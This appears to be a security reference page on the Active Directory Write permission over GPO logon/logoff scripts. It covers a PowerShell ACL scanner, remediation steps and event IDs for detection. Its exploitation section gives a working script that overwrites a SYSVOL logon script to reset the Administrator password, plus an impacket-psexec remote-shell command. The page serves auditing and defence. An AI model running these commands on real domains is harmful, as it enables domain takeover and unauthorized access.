Write
Write
Summary
FSProtect ACL Alias
Write
AD Alias
Write
Affected Object Types
Files
Exploitation Certainty
Unlikely
AD Right
Write
AD Permission Guid
00000000-0000-0000-0000-000000000000
Description
The Write
Permission on GPO Logon/Logoff Scripts in Active Directory gives an account the power to change the script files linked to Group Policy Objects (GPOs). These scripts are automatically run when users or computers log on or log off. When configured correctly, this permission lets administrators automate important tasks, enforce security settings, and streamline management across the domain.
However, if the Write
permission is misconfigured, it can introduce a critical security risk. An attacker or unauthorized user who can edit these logon/logoff scripts could embed malicious commands or code. Because these scripts may run with elevated privileges (e.g., Domain Admins), any harmful modifications can rapidly affect the network.
Identification
PowerShell
1. Find-FileWrite function
function Find-FileWrite {
[CmdletBinding()]
param(
# File or directory path. Accepts pipeline input.
[Parameter(Mandatory, Position=0, ValueFromPipeline, ValueFromPipelineByPropertyName)]
[Alias('FullName')]
[string[]]$Path,
# Scan subdirectories when Path is a directory
[switch]$Recurse,
# Export path
[string]$OutputPath = "Write.csv",
# Which rights to match
[ValidateSet('FullControl','Modify','Write')]
[string[]]$Rights = @('FullControl','Modify','Write'),
# Include inherited ACEs (default is to exclude them)
[switch]$IncludeInherited,
# Limit to these extensions when scanning directories (ignored for single files)
[string[]]$IncludeExtensions = @('.ps1','.psm1','.psd1','.bat','.cmd','.vbs','.js'),
# If set, include all files when scanning directories (don’t filter by extension)
[switch]$AllFiles)
begin {
$Allow = [System.Security.AccessControl.AccessControlType]::Allow
$FSR = [System.Security.AccessControl.FileSystemRights]
$wantFull = 'FullControl' -in $Rights
$wantMod = 'Modify' -in $Rights
$wantWrite = 'Write' -in $Rights
$results = New-Object System.Collections.Generic.List[object]
function Test-HasWantedRight {
param([System.Security.AccessControl.FileSystemRights]$r)
if ($wantFull -and (($r -band $FSR::FullControl) -ne 0)) { return $true }
if ($wantMod -and (($r -band $FSR::Modify) -ne 0)) { return $true }
if ($wantWrite -and (($r -band $FSR::Write) -ne 0)) { return $true }
return $false
}
}
process {
foreach ($p in $Path) {
if (-not (Test-Path -LiteralPath $p)) {
Write-Warning "Path not found: $p"
continue
}
$item = Get-Item -LiteralPath $p -ErrorAction SilentlyContinue
if (-not $item) {
Write-Warning "Unable to read item: $p"
continue
}
# Build file list
if ($item.PSIsContainer) {
$files = if ($Recurse) {
Get-ChildItem -LiteralPath $p -File -Recurse -ErrorAction SilentlyContinue
} else {
Get-ChildItem -LiteralPath $p -File -ErrorAction SilentlyContinue
}
if (-not $AllFiles) {
$extHash = @{}
foreach ($e in $IncludeExtensions) { $extHash[$e.ToLower()] = $true }
$files = $files | Where-Object { $extHash.ContainsKey([IO.Path]::GetExtension($_.FullName).ToLower()) }
}
}
else {
$files = ,$item
}
foreach ($f in $files) {
try {
$acl = Get-Acl -LiteralPath $f.FullName
} catch {
Write-Warning "Failed to get ACL for $($f.FullName): $($_.Exception.Message)"
continue
}
foreach ($ace in $acl.Access) {
if ($ace.AccessControlType -ne $Allow) { continue }
if (-not $IncludeInherited -and $ace.IsInherited) { continue }
if (-not (Test-HasWantedRight $ace.FileSystemRights)) { continue }
$results.Add([pscustomobject]@{
Path = $f.FullName
Identity = $ace.IdentityReference.Value
Rights = $ace.FileSystemRights
IsInherited = $ace.IsInherited
InheritanceFlags = $ace.InheritanceFlags
PropagationFlags = $ace.PropagationFlags
})
}
}
}
}
end {
if ($results.Count -gt 0) {
$results | Sort-Object Path, Identity | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
$results
} else {
Write-Verbose "No matching ACEs found."
}
}
}
2. Scan files in a directory
Find-FileWrite -Path '\\dc\SYSVOL\Forestall.labs\\scripts\'
3. Scan files in subdirectories
Find-FileWrite -Path '\\dc\SYSVOL\Forestall.labs\\scripts\' -Recurse
4. Scan all files in the directory
Find-FileWrite -Path '\\dc\SYSVOL\Forestall.labs\\scripts\' -Recurse -AllFiles
5. Scan with a specific list of file extentions
Find-FileWrite -Path '\\dc\SYSVOL\Forestall.labs\\scripts\' -Recurse -IncludeExtensions @('.bat','.ps1')
6. Scan a specific file
Find-FileWrite -Path '\\dc\SYSVOL\Forestall.labs\scripts\test.bat'
File Manager
1. Open File Manager
on your Windows server.
2. Right-click on the script.
3. Select Properties from the context menu.
4. In the Properties window, navigate to the Security tab.
6. Click Edit to modify the ACEs.
7. Click Edit to modify the ACEs.Locate and select the relevant Access Control Entry (ACE) for the user or group you wish to configure.
8. In the permissions list, locate and check the option Write
.
9. Click Apply to save your changes and close the dialogs.

Exploitation
This permission can be exploitable on Windows systems , while on Linux systems, tools such as impacket tools can be effectively used for exploitation.
Attacker can change password of Administrator user with this script.
# Script Content
$scriptContent = @"
$UserPassword = ConvertTo-SecureString '<New Password>' -AsPlainText -Force
Set-ADAccountPassword -Identity '<Authorized User>' -NewPassword $UserPassword
"@
# Path of Logon/Logoff script
$networkPath = "\\<Domain Controller>\sysvol\<Domain>\Policies\{<Policy ID>}\<USER or COMPUTER>\Scripts\<Logon or Logoff>\<Script>"
# Write the new script to Logon/Logoff script
Set-Content -Path $networkPath -Value $scriptContent -Encoding UTF8
Example:
# Script Content
$scriptContent = @"
`$UserPassword = ConvertTo-SecureString 'Test123.!' -AsPlainText -Force`
`Set-ADAccountPassword -Identity 'Administrator' -NewPassword $UserPassword`
"@
# Path of Logon/Logoff script
$networkPath = "\\Fsdc01\sysvol\forestall.labs\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Scripts\Logon\echo.ps1"
# Write the new script to Logon/Logoff script
Set-Content -Path $networkPath -Value $scriptContent -Encoding UTF8

Also you can open a powershell session and run powershell commands on linux systems with this cmdlet (Impacket tools should be installed before running command)
impacket-psexec '<domain>/<user login name>:<password>@<IP Address>'
Example:
impacket-psexec 'FORESTALL/Attacker:[email protected]'

For powershell commands and scripts you can write powershell to shell, and it will open powershell session.
Important Note
If this logon/logoff script affects authorized users (for example, the default domain policy affects authenticated users, which includes administrators and other authorized users), then when an authorized user logs in or logs off, the script will run with the high privilege.
Mitigation
Access Control Entries identified as dangerous should be removed by following the steps below.
1. Open File Manager
.
2. Right click the script Object and open Security
tab.
3. In this tab, click edit and then click the dangerous Access Control Entry.
4. Remove the Write
right.
5. Click OK and Apply buttons for saving changes.

Detection
Adding new Access Control Entries on the Active Directory objects changes the ntSecurityDescriptor
attribute of the objects themselves. These changes can be detected with the 5136 and 4662 Event IDs to identify dangerous modifications.
5136
A directory service object was modified.
ntSecurityDescriptor
https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136
4662
An operation was performed on an object.
AccessList, AccessMask
https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662
References
Last updated
Was this helpful?